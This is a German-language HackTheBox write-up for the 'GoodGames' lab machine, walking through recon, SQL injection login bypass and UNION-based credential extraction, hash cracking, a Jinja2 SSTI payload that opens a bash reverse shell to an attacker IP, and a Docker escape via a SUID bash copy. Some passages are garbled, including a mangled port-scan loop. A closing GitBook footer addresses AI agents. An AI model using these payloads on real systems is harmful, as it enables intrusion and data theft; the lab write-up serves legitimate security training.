> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md). # GoodGames HackTheBox Ausarbeitung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Ausnutzen von auf Union basierenden SQL-Injections * Knacken von Hashes schwacher Algorithmen * Wiederverwendung von Passwörtern * Ausnutzen von SSTI * Grundlagen von Docker-Ausbrüchen {% endhint %} ## Aufklärung **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

**Offene-Ports-Ermittlung mit Nmap:** Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.130 -oG allPorts ```

**Analyse offener Ports mit extractPorts:** Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (80)

Versionsscan der Ports mit Nmap: Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p80 10.10.11.130 -oN targeted ```

Um Domänennamen mittels DNS in IP-Adressen aufzulösen, tragen wir den mit der IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:

**Verzeichnissuche:** Wir verwenden Gobuster, um Verzeichnisse auf der Website zu suchen: ```bash gobuster dir -u http://GoodGames.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 9265 ``` Wir finden ein Registrierungsverzeichnis.

## Schwachstelle: SQL-Injection: Verwenden von **Burp Suite**, wir können die Anfrage abfangen, wodurch wir SQL-Injection testen können.

### Einfache SQL-Injection: Um die Authentifizierung mit einer einfachen Injection zu umgehen, verwenden wir: ```bash admin ' or 1=1-- - ```

Diese Art von Injection erzwingt, dass die Bedingung immer wahr ist (`1=1`), wodurch der Zugriff auf das Admin-Panel unter Umgehung der Anmeldedatenprüfung ermöglicht wird.

### UNION-basierte Injection Mit einer **UNION-basiertes SQL** Injection versuchen wir, die Anzahl der Spalten zu bestimmen, um die Abfragen so zu strukturieren, dass sie mit der Datenbank kompatibel sind. Beispiel: ```bash admin' union select 1,2,3,4-- - ``` Der Server gibt eine Antwort zurück, die „Login erfolgreich“ anzeigt, was zeigt, dass es 4 Spalten gibt.

#### Datenbanken auflisten Um den Namen der aktuellen Datenbank aufzulisten, verwenden wir: ```bash admin' union select 1,2,3,database()-- -&password=admin ```

Dann, um alle verfügbaren Datenbanken abzurufen: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin ``` {% endcode %} Ergebnis: `information_schema`, `main`

#### Tabellen auflisten Nachdem wir die `main` Datenbank identifiziert haben, listen wir die Tabellen in dieser Datenbank auf, um die gespeicherten Strukturen zu untersuchen: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- - ``` {% endcode %} Gefundene Tabellen: `blog`, `blog_comments`, `users`.

Die Spalten einer Tabelle auflisten Für die `users` Tabelle listen wir die verfügbaren Spalten auf: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- - ``` {% endcode %} Gefundene Spalten: `E-Mail`, `id`, `Name`, `Passwort`.

#### Extraktion von Benutzerdaten Dann extrahieren wir die Daten aus der `users` Tabelle: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- - ``` {% endcode %} BENUTZER: `Admin` E-MAIL: `admin@goodgames.htb` PASSWORT (Hash): `2b22337f218b2d82dfc3b6f77e7cb8ec`

### Entschlüsselung des Passworts Du kannst **CrackStation** verwenden, um den erhaltenen MD5-Hash zu entschlüsseln und das Passwort im Klartext wiederherzustellen. {% embed url="" %}

## Schwachstelle SSTI: ### Zugriff auf eine Subdomain Um auf eine entdeckte Admin-Subdomain zuzugreifen, füge sie den `/etc/hosts` vorhandenen Benutzern.

Schließlich erhalten wir mit der **admin** Anmeldedaten hinzu, dann kannst du dich auf dieser Subdomain authentifizieren. `admin:superadministrator`

Auf der Subdomain findest du einen **Einstellungen** Tab, in dem du die Informationen des Admin-Benutzers (vollständiger Name, Geburtsdatum und Telefonnummer) bearbeiten kannst.

Wenn du im Formular „full name“ versuchst, einen SSTI-Angriff auszuführen, ist der Server verwundbar. Um dies mit `{{ }}`, versuchen wir zu sehen, ob es die Berechnung interpretiert: ```python {{1+1}} ```

Als Nächstes führen wir Befehle aus (zum Beispiel, `id`): ```python {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} ``` Wir entdecken, dass er sich in der `root` Gruppe gehören.

Wir werden eine Reverse Shell erstellen, um auf den Server zuzugreifen ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }} ``` Wir lauschen auf Port 443 auf unserer Angriffsmaschine: ```bash nc -nlvp 443 ```

### **Flagge: user.txt** :)

## Privilegieneskalation : Sobald du Zugriff auf den Linux-Server hast, sind hier die Befehle, die du zur Bearbeitung im Terminal ausführen kannst: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` Das wird dir ermöglichen, wesentlich effizienter und vor allem komfortabler zu arbeiten. ### Docker-Ausbruch: Wir stellen fest, dass die IP-Adresse nicht die der Maschine ist (Maschinen-IP: 10.10.11.130; Docker-Container-IP: 172.19.0.2).

Wir werden die Ports manuell scannen, da `nmap` ist auf dem Gateway (172.19.0.1) nicht installiert: ```bash for PORT in {0..1000}; do timeout 1 bash -c "/dev/null" 2>/dev/null && echo "port $PORT is open"; done ``` Wir stellen fest, dass Port 22 intern offen ist, also können wir uns per SSH verbinden. ```bash for PORT in {0..1000}; do timeout 1 bash -c "/dev/null" 2>/dev/null && echo "port $PORT is open"; done ```

Wenn wir versuchen, uns mit dem Root-Konto und dem Passwort anzumelden `Superadministrator` können wir uns nicht anmelden, aber mit `augustus` erhalten wir eine Shell.

### Bash-SUID aus Docker Da wir im Docker-Container Root sind, werden wir die Bash-Binärdatei vom normalen Host der Maschine in das Home-Verzeichnis von `augustus`: ``` cp /bin/bash . ```

Vom Docker-Root aus werden wir die Root-Gruppe für diese Bash-Datei und die SUID-Berechtigungen autorisieren, damit sie als Root ausgeführt wird: ```bash chown root:root bash chmod 4777 bash ``` Wir kehren zu SSH zurück und sehen: `-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`

### **Root-Flag erhalten :)** `./bash -p`

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.